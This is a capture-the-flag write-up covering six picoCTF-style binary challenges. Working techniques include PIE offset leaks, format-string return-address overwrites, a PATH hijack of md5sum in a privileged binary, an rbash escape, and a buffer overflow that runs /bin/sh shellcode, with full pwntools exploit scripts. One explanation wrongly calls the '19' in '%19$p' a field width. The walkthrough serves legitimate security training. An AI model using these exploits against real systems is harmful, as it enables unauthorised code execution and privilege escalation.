Try   HackMD

PIE TIME

Description

Can you try to get the flag? Beware we have PIE!

We're given both the source code and the binary

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void segfault_handler() {
  printf("Segfault Occurred, incorrect address.\n");
  exit(0);
}

int win() {
  FILE *fptr;
  char c;

  printf("You won!\n");
  // Open file
  fptr = fopen("flag.txt", "r");
  if (fptr == NULL)
  {
      printf("Cannot open file.\n");
      exit(0);
  }

  // Read contents from file
  c = fgetc(fptr);
  while (c != EOF)
  {
      printf ("%c", c);
      c = fgetc(fptr);
  }

  printf("\n");
  fclose(fptr);
}


int main() {
  signal(SIGSEGV, segfault_handler);
  setvbuf(stdout, NULL, _IONBF, 0); // _IONBF = Unbuffered

  printf("Address of main: %p\n", &main);

  unsigned long val;
  printf("Enter the address to jump to, ex => 0x12345: ");
  scanf("%lx", &val);
  printf("Your input: %lx\n", val);

  void (*foo)(void) = (void (*)())val;
  foo();
}

From the source code above, there are two important functions: main() and win(). In the main() function, the address of main is printed for us, and it prompts us to enter a value (address), which is then called. Let's run the binary and see what happens.

image

As you can see from the screenshot, when we provide a random(invalid) value, it causes a Segfault and exits the program. The Segfault is handled by the following code section.

void segfault_handler() {
  printf("Segfault Occurred, incorrect address.\n");
  exit(0);
}

Now, let's open the program using GDB and check out the addresses of the functions.

Note
For the rest of the challenge, I'll be using pwndbg, an extension of GDB that is enhanced for exploit development.

image

We can see that the win() function starts at the address 0x00005555555552a7.

image

And the main() function starts at the address 0x0000555555533d. Let's calculate the difference between the main() function and the win() function.

image

And we get 0x96 or 150. Now it's obvious what we need to do: after getting the main() address, we subtract 0x96 (or 150), which gives us the address of win().

image

After running the program, we get the address 0x564ac801033d.

image

After subtracting 0x96, we get 0x564ac80102a7. Let's enter the value and see if it will call the win() function and print the flag for us.

image

And we got the flag! 🙂 This is a local instance. Let's try it against the remote instance and see if it works the same way.

image

After getting the address and subtracting 0x96

image

We get the flag.


PIE TIME 2

Description

Can you try to get the flag? I'm not revealing anything anymore!!

This time, it's not printing the address of main(), Let's checkout what the code is doing before running the binary

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void segfault_handler() {
  printf("Segfault Occurred, incorrect address.\n");
  exit(0);
}

void call_functions() {
  char buffer[64];
  printf("Enter your name:");
  fgets(buffer, 64, stdin);
  printf(buffer);

  unsigned long val;
  printf(" enter the address to jump to, ex => 0x12345: ");
  scanf("%lx", &val);

  void (*foo)(void) = (void (*)())val;
  foo();
}

int win() {
  FILE *fptr;
  char c;

  printf("You won!\n");
  // Open file
  fptr = fopen("flag.txt", "r");
  if (fptr == NULL)
  {
      printf("Cannot open file.\n");
      exit(0);
  }

  // Read contents from file
  c = fgetc(fptr);
  while (c != EOF)
  {
      printf ("%c", c);
      c = fgetc(fptr);
  }

  printf("\n");
  fclose(fptr);
}

int main() {
  signal(SIGSEGV, segfault_handler);
  setvbuf(stdout, NULL, _IONBF, 0); // _IONBF = Unbuffered

  call_functions();
  return 0;
}

From the source code above, we have three functions that we need to focus on: main(), win(), and call_functions(). In main(), we first call the call_functions() function.

void call_functions() {
  char buffer[64];
  printf("Enter your name:");
  fgets(buffer, 64, stdin);
  printf(buffer);

  unsigned long val;
  printf(" enter the address to jump to, ex => 0x12345: ");
  scanf("%lx", &val);

  void (*foo)(void) = (void (*)())val;
  foo();
}

In the call_functions() function, it asks for our name, which takes a total of 64 bytes. It then prints our name to stdout and, finally, prompts us for the address to call.

If you look carefully, after getting our name, it directly prints our name using the printf function, which causes a format string vulnerability. By using the %p format specifier, we can try to leak some interesting values (addresses).

image

As you can see from the screenshot, we are leaking some addresses. Now, let's open the binary using GDB and check at what position the function we need is getting leaked.

image

The address of main() starts at 0x00005555555400.

image

The address of call_functions() starts at 0x000055555552c7

image

Finally, the win() function starts at the address 0x0000555555536a

image

After trying different values at position %19$p, we get the address 0x555555555441, which is in the main() function.

image

This is the address right after calling the call_functions() function. Let's break down what %19$p represents before we start calculating the address of win().

Breakdown of %19$p

  • %: This indicates the start of a format specifier.
  • 19: This is a field width specifier, meaning the printed value should take up at lease 19 characters.
  • $: Is used to select a specific argument
  • p: indicates that the value should be printed as a pointer

We can also leak the starting address of main() by inputting the following: %23$p.

image

Let's confirm

image

This means we can choose between the address leaked using %19$p or %23$p. Since we can use either, let's go with %19$p.

image

It's 0xd7, which is 215. Let's try the same thing as before. This time, since the address of main() is not being printed, we can get it using the %19$p format specifier. After that, we subtract 0xd7 to get the address of the win() function.

image


hash-only-1

Description

Here is a binary that has enough privilege to read the content of the flag file but will only let you know its hash. If only it could just give you the actual content!

For this challenge, the binary is stored somewhere on the server. We had to connect and use scp to transfer the binary to our machine for a closer look.

We can use the following scp command to pull it to our local machine:

scp -P <port> ctf-player@<sub-domain>.picoctf.net:~/flaghasher .

Before analyzing the binary in Ghidra, let's first run it and see what it's doing.

image

You can see that the flag is located at /root/flag.txt, and the custom binary is calculating the MD5 hash of the flag.

Let's now use Ghidra to analyze what it's doing.

image

Immediately, I noticed the string.

/bin/bash -c 'md5sum /root/flag.txt'

Since it's using md5sum, one simple way to get the flag is by modifying the PATH to use our custom md5sum binary. We just need to copy the cat command to the directory we want, rename the cat binary to md5sum, and then run the flaghasher binary again.

image

And we got the flag! 🙂


hash-only-2

In this challenge, it's the same binary as before—nothing has been modified. Let's try the same trick as before.

image

As you can see from the screenshot, PATH is read-only, and it's using rbash.

what is rbash?

image

rbash stands for Restricted Bash, which is a restricted version of the Bash shell. It is typically used to limit the functionality and capabilities of users to restrict their actions in a more controlled environment.

What we can do is change our shell from rbash to sh, and then we can use the same trick as in the previous challenge.

image

And it worked!


Echo Valley

Description

The echo valley is a simple function that echoes back whatever you say to it.But how do you make it respond with something more interesting, like a flag?

We're provided with the binary and the source code for the challenge. Let's take a look at the code first.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void print_flag() {
    char buf[32];
    FILE *file = fopen("/home/valley/flag.txt", "r");

    if (file == NULL) {
      perror("Failed to open flag file");
      exit(EXIT_FAILURE);
    }

    fgets(buf, sizeof(buf), file);
    printf("Congrats! Here is your flag: %s", buf);
    fclose(file);
    exit(EXIT_SUCCESS);
}

void echo_valley() {
    printf("Welcome to the Echo Valley, Try Shouting: \n");

    char buf[100];

    while(1)
    {
        fflush(stdout);
        if (fgets(buf, sizeof(buf), stdin) == NULL) {
          printf("\nEOF detected. Exiting...\n");
          exit(0);
        }

        if (strcmp(buf, "exit\n") == 0) {
            printf("The Valley Disappears\n");
            break;
        }

        printf("You heard in the distance: ");
        printf(buf);
        fflush(stdout);
    }
    fflush(stdout);
}

int main() {
    echo_valley();
    return 0;
}

We have two interesting functions: echo_valley() and print_flag().

void echo_valley() {
    printf("Welcome to the Echo Valley, Try Shouting: \n");

    char buf[100];

    while(1)
    {
        fflush(stdout);
        if (fgets(buf, sizeof(buf), stdin) == NULL) {
          printf("\nEOF detected. Exiting...\n");
          exit(0);
        }

        if (strcmp(buf, "exit\n") == 0) {
            printf("The Valley Disappears\n");
            break;
        }

        printf("You heard in the distance: ");
        printf(buf);
        fflush(stdout);
    }
    fflush(stdout);
}

This function reads our buffer, which is 100 bytes, from stdin, and checks if the input equals "exit." If it does, the program exits; if not, it simply echoes back what we input. (This will come in handy later on 🙂)

The interesting part is that it's printing the buffer using printf, which creates a format string vulnerability.

The print_flag() function just prints the flag, but it's not being called.

image

from the screenshot above checksec shows

  1. RELRO (Read-Only Relocation): Prevents modification of the Global Offset Table (GOT) to mitigate certain attacks like GOT overwrite
  2. Stack: Refers to protections like stack canaries or stack cookies used to detect and prevent buffer overflow attacks by checking integrity before function return.
  3. NX (No Execute): A security feature that prevents execution of code from certain regions of memory (like the stack or heap), reducing the risk of buffer overflow exploits.
  4. PIE (Position Independent Executable): Ensures that the binary can be loaded at different addresses in memory, making it harder for attackers to predict the location of specific functions or buffers for exploitation.

First, let's confirm that we have a format string vulnerability.

image

Good. What we need to do is, since the main() function calls the echo_valley() function:

  1. Use the format string vulnerability to get the return address.
  2. Use the main() function to calculate the offset of the print_flag() function.
  3. Overwrite the return address with the address of the print_flag() function.

Let's check if we can overwrite the return address.

Using the following input, we can obtain the return address.

%15$p::%16$p::%17$p::%18$p::%19$p::%20$p::%21$p::%22$p

image

Now, let's use telescope to check how far we are from the leaked addresses.

image

It's only 8 bytes away from %20$p. Now, let's put it all together and try to overwrite the return address.

image

After leaking the return address, I used pwntools's fmtstr_payload function to craft our format string payload. I've overwritten the return address with 0x13337, which, as shown in the screenshot, is trying to return to 0x13337.

Now that we know what we need to do, let's leak the address of main(), calculate the offset of print_flag(), and overwrite the return address.

Main function address

image

At position %21$p, we've leaked the address inside the main() function. From there, let's calculate how far we need to go to get the address of print_flag().

image

We can see the addresses of main() and print_flag(), so all we need to do is

0x0000561223df1413 - 0x0000561223df1269

image

And we get 0x1aa, which means

0x0000561223df1413 - 0x1aa

gets us the address of the print_flag() function.

Now, let's put it all together and overwrite the return address with the address of print_flag().

image

Hmmm it should work, but it's only overwriting the lower-order bytes. Let's figure out what went wrong.

image

Aha! The format string payload exceeds the buffer size. The buffer is 100 bytes, but the format string payload length is 120, so we need to send it in chunks.

image

Awesome! 🙂 We have successfully overwritten the return address with the print_flag() address. Let's test it against the remote instance.

#!/usr/bin/env python3
from pwn import *


BIN_NAME = "valley"


def solve():

    context.arch = "amd64"
    context.log_level = "DEBUG"

    p = process(f"./{BIN_NAME}")

    p.sendlineafter(b"Shouting: ", b"%20$p::%21$p")
    p.recvuntil(b"You heard in the distance: ")

    addresses = p.recv().decode().strip().split("::")

    return_address = int(addresses[0], 16) - 8
    main_function_address = int(addresses[1], 16)
    print_flag_address = main_function_address - 0x1aa

    log.info(f"return address = {hex(return_address)}")
    log.info(f"main function address = {hex(main_function_address)}")
    log.info(f"print flag address = {hex(print_flag_address)}")

    chunks = [
            print_flag_address & 0xFFFF,
            (print_flag_address >> 16) & 0xFFFF,
            (print_flag_address >> 32) & 0xFFFF,
    ]

    log.info(f"sending the first {hex(chunks[0])} bytes")
    p.sendline(fmtstr_payload(6, {return_address: chunks[0]}))
    log.info(f"sending the second {hex(chunks[1])} bytes")
    p.sendline(fmtstr_payload(6, {return_address + 2: chunks[1]}))
    log.info(f"sending the third {hex(chunks[2])} bytes")
    p.sendline(fmtstr_payload(6, {return_address + 4: chunks[2]}))

    p.interactive()


def main():
    solve()

if __name__ == "__main__":
    main()

image

It also worked on the remote instance. Awesome! 😎


handoff

Same as before, we are provided with the source code and the binary. Let's take a look at the source code first.

#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>

#define MAX_ENTRIES 10
#define NAME_LEN 32
#define MSG_LEN 64

typedef struct entry {
        char name[8];
        char msg[64];
} entry_t;

void print_menu() {
        puts("What option would you like to do?");
        puts("1. Add a new recipient");
        puts("2. Send a message to a recipient");
        puts("3. Exit the app");
}


int vuln() {
        char feedback[8];
        entry_t entries[10];
        int total_entries = 0;
        int choice = -1;
        // Have a menu that allows the user to write whatever they want to a set buffer elsewhere in memory
        while (true) {
            print_menu();
            if (scanf("%d", &choice) != 1) exit(0);
            getchar(); // Remove trailing \n

            // Add entry
            if (choice == 1) {
                choice = -1;
                // Check for max entries
                if (total_entries >= MAX_ENTRIES) {
                        puts("Max recipients reached!");
                        continue;
                }

                // Add a new entry
                puts("What's the new recipient's name: ");
                fflush(stdin);
                fgets(entries[total_entries].name, NAME_LEN, stdin);
                total_entries++;

            }
            // Add message
            else if (choice == 2) {
                choice = -1;
                puts("Which recipient would you like to send a message to?");
                if (scanf("%d", &choice) != 1) exit(0);
                getchar();

                if (choice >= total_entries) {
                        puts("Invalid entry number");
                        continue;
                }

                puts("What message would you like to send them?");
                fgets(entries[choice].msg, MSG_LEN, stdin);
            }
            else if (choice == 3) {
                choice = -1;
                puts("Thank you for using this service! If you could take a second to write a quick review, we would really appreciate it: ");
                fgets(feedback, NAME_LEN, stdin);
                feedback[7] = '\0';
                break;
            }
            else {
                choice = -1;
                puts("Invalid option");
            }
        }
}

int main() {
        setvbuf(stdout, NULL, _IONBF, 0);  // No buffering (immediate output)
        vuln();
        return 0;
}

The program has the following options.

void print_menu() {
    puts("What option would you like to do?");
    puts("1. Add a new recipient");
    puts("2. Send a message to a recipient");
    puts("3. Exit the app");
}

And it has the following struct

typedef struct entry {
    char name[8];
    char msg[64];
} entry_t;

We can choose options '1' and '2' to set the name and message, and when choosing option '3,'

else if (choice == 3) {
    choice = -1;
    puts("Thank you for using this service! If you could take a second to write a quick review, we would really appreciate it: ");
    fgets(feedback, NAME_LEN, stdin);
    feedback[7] = '\0';
    break;
}

It exits the program, but before that, it takes feedback from the user and stores the input in the feedback variable. This causes a buffer overflow. Before confirming that, let's use checksec to see what's enabled and what's not.

image

This is good. Since PIE (Position-Independent Executable) is disabled, the program runs at the same base address every time it is loaded. Additionally, NX (No-Execute) is disabled, meaning we can execute shellcode on the stack.

image

Okay, as you can see, we have overwritten the return address with 0x4141414141414141. Let's find the exact offset.

image

Using the cyclic command, we can confirm that the exact offset we need is 20.

What steps do we need to take?

Since NX is disabled, we can place the shellcode somewhere on the stack and jmp to it. However, ASLR is enabled, so that won't work for us. After experimenting with the program a bit, I've come up with the following steps to execute the shellcode.

  1. Push the shellcode onto the stack.
  2. Push an assembly instruction onto the stack that will allow us to jump to the shellcode.

Step 1

image

The shellcode that we're trying to push onto the stack is 44 bytes. We can save it in the 'entries'.

else if (choice == 2) {
    choice = -1;
    puts("Which recipient would you like to send a message to?");
    if (scanf("%d", &choice) != 1) exit(0);
    getchar();

    if (choice >= total_entries) {
        puts("Invalid entry number");
        continue;
    }

    puts("What message would you like to send them?");
    fgets(entries[choice].msg, MSG_LEN, stdin);
}

MSG_LEN 64, which is more than enough to store our shellcode.

image

I've used pwntools to create a quick /bin/sh shellcode with shellcraft.sh().

Let's get our gadget

By using ROPgadget, we can easily find our gadget.

image

ROPgadget returned the jmp rax gadget, which is at 0x000000000040116c. The address does not change since PIE is disabled.

Step 2

After pushing the shellcode onto the stack, we need to set the return address to a gadget. The gadget will jmp to our small piece of assembly code, which will help us reach our shellcode.

image

It will now try to execute our gadget. Let's determine how far our shellcode is from rsp.

image

From the screenshot above, we can see that our shellcode is at 0x7fffa8e4ffa7. Subtracting 15 will also account for our nop, and rsp is at 0x7fffa8e50280.

image

By doing this simple calculation, we can determine how far our shellcode is from rsp.

Our helper code (Stager)

nop
sub rsp, 0x2e8
jmp rsp

This simple assembly code will help us point to our shellcode and execute it.

image

Since the total buffer offset we need is 20, and our helper (stager) code is at 10, we're good.

Let's put everything together.

So, our payload will look something like this:

image

payload = asm(
    """
    nop;
    sub rsp, 0x2e8;
    jmp rsp;
    """
)
payload += asm("nop") * 10
payload += jmp_rax

Now, let's put it all together and check if it works.

image

It reached our helper (stager) code

image

rsp now points to our shellcode.

image

Awesome! Our shellcode executed successfully. Let's now try it on the remote instance.

image

It worked! 🙂 Here is the full code.

#!/usr/bin/env python3
from pwn import *


BIN_NAME = "handoff"


def solve():
    context.arch = "amd64"
    context.log_level = "DEBUG"

    p = process(f"./{BIN_NAME}")
    
    jmp_rax = p64(0x0040116c)
    shellcode = asm(shellcraft.sh())
    nop_sled = asm("nop") * ((63) - len(shellcode))

    payload = asm(
            """
            nop;
            sub rsp, 0x2e8;
            jmp rsp;
            """
    )
    payload += asm("nop") * 10
    payload += jmp_rax

    p.sendlineafter(b"3. Exit the app", b"1")
    p.sendlineafter(b"new recipient's name:", b"shellcode")

    p.sendlineafter(b"3. Exit the app", b"2")
    p.sendlineafter(b"you like to send a message to?", "0")
    # shellcode size is 48 and message length is 64-1 so
    # (MSG_LEN-1) - len(shellcode) = 15
    # so our nop should be 15
    p.sendlineafter(b"would you like to send them?", nop_sled + shellcode)

    p.sendlineafter(b"3. Exit the app", b"3")
    p.sendline(payload)

    p.interactive()


def main():
    solve()

if __name__ == "__main__":
    main()

Thank you for following along! I hope this writeup was helpful. Feel free to reach out if you have any questions!